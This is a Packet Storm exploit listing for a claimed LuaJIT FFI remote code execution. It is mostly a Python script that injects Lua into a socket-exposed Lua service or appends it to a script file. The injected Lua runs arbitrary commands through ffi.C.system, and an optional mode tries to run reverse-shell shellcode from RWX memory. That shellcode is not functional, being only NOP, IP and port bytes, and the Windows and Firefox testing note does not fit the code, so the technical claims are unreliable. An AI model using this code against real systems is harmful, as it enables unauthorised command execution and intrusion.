PACKETSTORM

📄 LuaJIT 2.1.1774638290 FFI Remote Code Execution / Lua Injection_PACKETSTORM:219754

Description

This script is a LuaJIT exploitation tool that attempts to abuse the LuaJIT FFI Foreign Function Interface to execute system commands or arbitrary shellcode on a remote Lua runtime exposed over a TCP socket. It connects to a target service, injects Lua...
Visit Original Source

Basic Information

ID PACKETSTORM:219754
Published Apr 24, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : LuaJIT 2.1.1774638290 FFI Remote Code Execution Exploit via Socket-Based Lua Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://luajit.org/download.html |
==================================================================================================================================

[+] Summary : This script is a LuaJIT exploitation tool that attempts to abuse the LuaJIT FFI (Foreign Function Interface) to execute system commands or arbitrary shellcode on a remote Lua runtime exposed over a TCP socket.
It connects to a target service, injects Lua code dynamically, and leverages unsafe FFI bindings such as system() and mmap() to achieve remote code execution (RCE).
In advanced mode, it attempts to allocate executable memory and run shellcode for a reverse shell.

[+] POC :

#!/usr/bin/env python3

import socket
import sys
import re
import time
import struct
from typing import Optional, Tuple

class LuaJITExploit:
def __init__(self, host: str, port: int, target_lua_script_path: Optional[str] = None):
self.host = host
self.port = port
self.target_lua_script_path = target_lua_script_path
self.socket = None

def connect(self) -> bool:
try:
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.connect((self.host, self.port))
print(f"[+] Connected to {self.host}:{self.port}")
return True
except Exception as e:
print(f"[-] Connection failed: {e}")
return False

def send_lua_code(self, lua_code: str) -> Optional[str]:
if not self.socket:
return None

try:
self.socket.send(lua_code.encode() + b'\n')
response = self.socket.recv(4096)
if not response:
return None
return response.decode(errors="ignore")
except Exception as e:
print(f"[-] Failed to send Lua code: {e}")
return None

def generate_lua_payload(self, command: str = "id", execute_shellcode: bool = False) -> str:
lua_code = f'''
-- LuaJIT FFI Exploit Payload
local ffi = require("ffi")

ffi.cdef[[
int getpid(void);
long syscall(long number, ...);
int system(const char *command);
void *mmap(void *addr, size_t length, int prot, int flags, int fd, long offset);
int mprotect(void *addr, size_t len, int prot);
void *memcpy(void *dest, const void *src, size_t n);
]]

print("[*] Testing FFI access...")
local pid = ffi.C.getpid()
print("[+] getpid() success: " .. pid)

print("[*] Executing command: {command}")
ffi.C.system("{command}")
'''

if execute_shellcode:
reverse_shellcode = self.generate_reverse_shellcode()

lua_code += f'''
print("[*] Attempting shellcode execution...")

local PROT_READ = 0x1
local PROT_WRITE = 0x2
local PROT_EXEC = 0x4
local PROT_RWX = bit.bor(PROT_READ, PROT_WRITE, PROT_EXEC)

local MAP_ANONYMOUS = 0x20
local MAP_PRIVATE = 0x02

local mem = ffi.C.mmap(nil, 4096, PROT_RWX, MAP_ANONYMOUS + MAP_PRIVATE, -1, 0)

if mem ~= nil and tonumber(ffi.cast("intptr_t", mem)) > 0 then
print("[+] RWX memory allocated")

local shellcode = "{reverse_shellcode}"

ffi.C.memcpy(mem, shellcode, #shellcode)

local fn = ffi.cast("void(*)(void)", mem)
fn()
else
print("[-] mmap failed")
end
'''
return lua_code

def generate_reverse_shellcode(self, ip: str = "127.0.0.1", port: int = 4444) -> str:
ip_parts = ip.split(".")
ip_hex = "".join([f"\\x{int(x):02x}" for x in ip_parts])
port_hex = f"\\x{port & 0xff:02x}\\x{(port >> 8) & 0xff:02x}"

shellcode = f"\\x90\\x90\\x90" + ip_hex + port_hex
return shellcode

def exploit_ffi_system(self, command: str = "id") -> bool:
print(f"[*] Exploiting FFI to execute: {command}")

lua_payload = self.generate_lua_payload(command, False)

if self.target_lua_script_path:
try:
with open(self.target_lua_script_path, 'a') as f:
f.write("\n" + lua_payload)
print("[+] Payload injected successfully")
return True
except Exception as e:
print(f"[-] Failed to inject payload: {e}")
return False
else:
if self.connect():
response = self.send_lua_code(lua_payload)
if response is not None:
print(f"[+] Response:\n{response}")
return True
return False
return False

def exploit_shellcode(self, ip: str = "127.0.0.1", port: int = 4444) -> bool:
print(f"[*] Attempting reverse shell to {ip}:{port}")

lua_payload = self.generate_lua_payload("", True)

if self.target_lua_script_path:
try:
with open(self.target_lua_script_path, 'a') as f:
f.write("\n" + lua_payload)
print("[+] Reverse shell payload injected")
return True
except Exception as e:
print(f"[-] Failed to inject payload: {e}")
return False
else:
if self.connect():
response = self.send_lua_code(lua_payload)
if response is not None:
print("[+] Payload sent")
return True
return False
return False

def cleanup(self):
if self.socket:
self.socket.close()
print("[*] Connection closed")


def main():
if len(sys.argv) < 4:
print("Usage: python3 luajit_exploit.py <host> <port> <command>")
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
command = sys.argv[3]

reverse_shell = "--reverse-shell" in sys.argv

exploit = LuaJITExploit(host, port)

print("=" * 60)
print("LuaJIT Exploit")
print("=" * 60)

if reverse_shell:
exploit.exploit_shellcode()
else:
exploit.exploit_ffi_system(command)

exploit.cleanup()

if __name__ == "__main__":
main()

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.